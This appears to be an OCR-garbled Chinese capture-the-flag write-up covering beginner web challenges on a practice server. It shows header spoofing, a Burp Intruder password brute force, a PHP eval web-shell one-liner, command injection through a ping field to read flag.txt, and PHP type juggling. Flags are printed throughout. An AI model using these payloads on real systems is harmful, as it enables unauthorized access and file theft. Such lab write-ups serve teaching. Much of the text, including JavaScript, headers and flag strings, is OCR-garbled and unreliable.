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Disallow: flag_1s_h3re.php
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/ Request to http://111.198.29.45:42759
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GET / HTTP/1.1

Host: 111.198.29.45:42759

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.14; rv:68.0)
Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,*/*;
Accept-Language: zh-CN,zh;g=0.8,zh-TW;g=0.7,2zh-HK;g=0.5,en-US;g=0.
Accept-Encoding: gzip, deflate

Connection: close

Cookie: look-here=coockie.php

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

i lA cookie.php , BEIHKIIRR: “See the http response”, 1# FGoogle Chromef##fHTTP Headers#& %, 75 %lflag:

GET http://111.198.29.45:42759/cookie.php |
Status: HTTP/1.1 200 OK

Request Headers

Accept text/html application/xhtml+xml,application/xml;q=0.9 image/webp,image/apng,*/*;q=0.8
Upgrade-Insecure-Requests 1

User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecke

Response Headers

Connection Keep-Alive

Content-Encoding gzip

Content-Length 253

Content-Type text/html

Date Fri, 08 Aug 2019 11:23:26 GMT

flag cyberpeace{at22a779ba3c3dceedef6b6998e1a7101}
Keep-Alive timeout=5, max=100

Server Apache/2.4.7 (Ubuntu)

Vary Accept-Encoding

X-Powered-By PHF/5.5.9-1Tubuntud.26
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FHMAE R, HEMNIIR:

script type="text/javascript"
function dechiffre(pass_enc){
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab pass_enc.split(',");
var tab2 pass.split(',");var i,j,k,1=0,m,n,0,p "rei 057 tab.length;

k =3+ (1) + (n=0);
n = tab2.length;
for(i (0=0); i (k j n); i ){o = tab[i-1];p String.fromCharCode((o = tab2[i]

if(i 5)break;}
for(i (0=0); i (k Jj n); i ){
o = tab[i-1];
if(i i k-1)
String.fromCharCode( (o tab2[i]));
)
p String.fromCharCode(tab2[17]);
pass p;return pass;
)i
String["fromCharCode" ] (dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\X
VIV ENAVENAVETAVVIAVENAVENAVEIAVIIAVENAVE AV EVAV VLAV EVAVE LAV VLAV E LAV E - BB DN

h = window.prompt('Enter password');
alert( dechiffre(h) );

script
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PEANTRTE G &om: “ipHbhk 26 48 123.123.123.123", iEidGoogle Chromed £ ModHeaderi inig sk k{5 8: X-Forwarded-
For: 123.123.123.123, RIFWEABRFHRZR: BHK H https:/lwww.google.com, 4847 INTE K K15 B Referer:
https://www.google.com , FlF TS 2Iflag: cyberpeace{68d1f3f8fb33701eB6ee0c5db9895426}
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Login

username
password
login

reset
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Forward Drop Intercept is on Action

(Raw.. Params Headers Hex

POST /check.php HTTP/1.1
Host: 111.198.29.45:51435
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.14; rv:68.0)
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,%*/%*;
Accept-Language: zh-CN,zh;g=0.8,zh-TW;g=0.7,zh-HK;g=0.5,en-US;g=0.
Accept-Encoding: gzip, deflate


http://www.bejson.com/convert/ox2str/
https://baike.baidu.com/item/ASCII/309296?fr=aladdin

Content-Type: application/x-www-form-urlencoded
Content-Length: 32

Connection: close

Referer: http://111.198.29.45:51435/

Cookie: look-here=cookie.php
Upgrade-Insecure-Requests: 1

username=admin&password=password

Send to Intruderjs, EFEWHERN sniper B FER IHFENZE:

Taraet [ Positions.| Pavloads Onbtions

@ Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type
determines the way in which payloads are assigned to payload positions - see help for full details.

Attack type: ' Sniper

POST /check.php HTTP/1.1

Host: 111.198.29.45:51435

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.14; rv:68.0)
Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;gq=0.8,zh-TW;g=0.7,zh-HK;g=0.5,en-US;g=0.3,en;g=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 32

Connection: close

Referer: http://111.198.29.45:51435/

Cookie: look-here=cookie.php

Upgrade-Insecure-Requests: 1

username=admin&password=§password$§

¥ 59 K B % 55 7 HUKG U B Payload Options:

® Payload Options [Simple list]

Start attack

Add §
Clear §
Auto §
Refresh

This payload type lets you configure a simple list of strings that are used as payloads.

Paste 123456789
load . 2123456
123456 .
Remove ' 7173456789

Clear 1234567890

Add Enter a new item

<3

Add from list ... [Pro version only]

THiR R RS, I R TR 15 2 -

Request Payload Status Error Timeout
3 123456 200
25 123456. 200
0 200
1 123456789 200

Length
437
437
434
434
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<7php @eval($_POST['shell'];?>
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FEMFIR PRI Flag. txt , V71X H15 2 flag:

command_execution
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PING

PING
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ping -c 3 127.0.0.1

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.

64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.088 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.052 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.038 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 0.038/0.059/0.088/0.022 ms

BETWMARMGS: ping -c 3: WRAKMIEE=RERTEE, FARTAWXAKMMRR: 127.0.0.1 | 1s:

ping -c 3 127.0.0.1 | 1s
index.php

B HFRRR, #EBERNEER, 7E home XHBEFR T RKIM: flag.txt :

ping -c 3 127.0.0.1 | 1s ../../../home/

flag.txt

ZRITH flag.txt , WIANBEHIEM4L: 127.0.0.1 | cat ../../../home/flag.txt , 1§
éUﬂag: cyberpeace{9a27a9cle@ac69bde9ddf1idi557ea2aa}

MR wPAT

WindowsELinuxT:

commandl && command2 : & 4Tcommand1/5#4Tcommand2;
commandl | command2 : R #4TFcommand2;

commandl & command2 : 54T command2/s $4T7command1
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show_source(__FILE_ );
include("config.php");
@ ['a'];
@ ['b"];
© and ){

echo ;

1
J

if(is_numeric($b)){
exit();

b
if($b>1234){

echo

ARG BEGETH XN E a MIZE b E, HPFEEa=0EH XAEEA0, bRGEAAEFHEE KT 1234;
A =="LL BRI RATT LLged Lk, BI7ELLERRT, PHPLIEAEE LY VMR A BT, e g T
%: ?a=0c&b=1235c , ijlHEHFIflag: Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}
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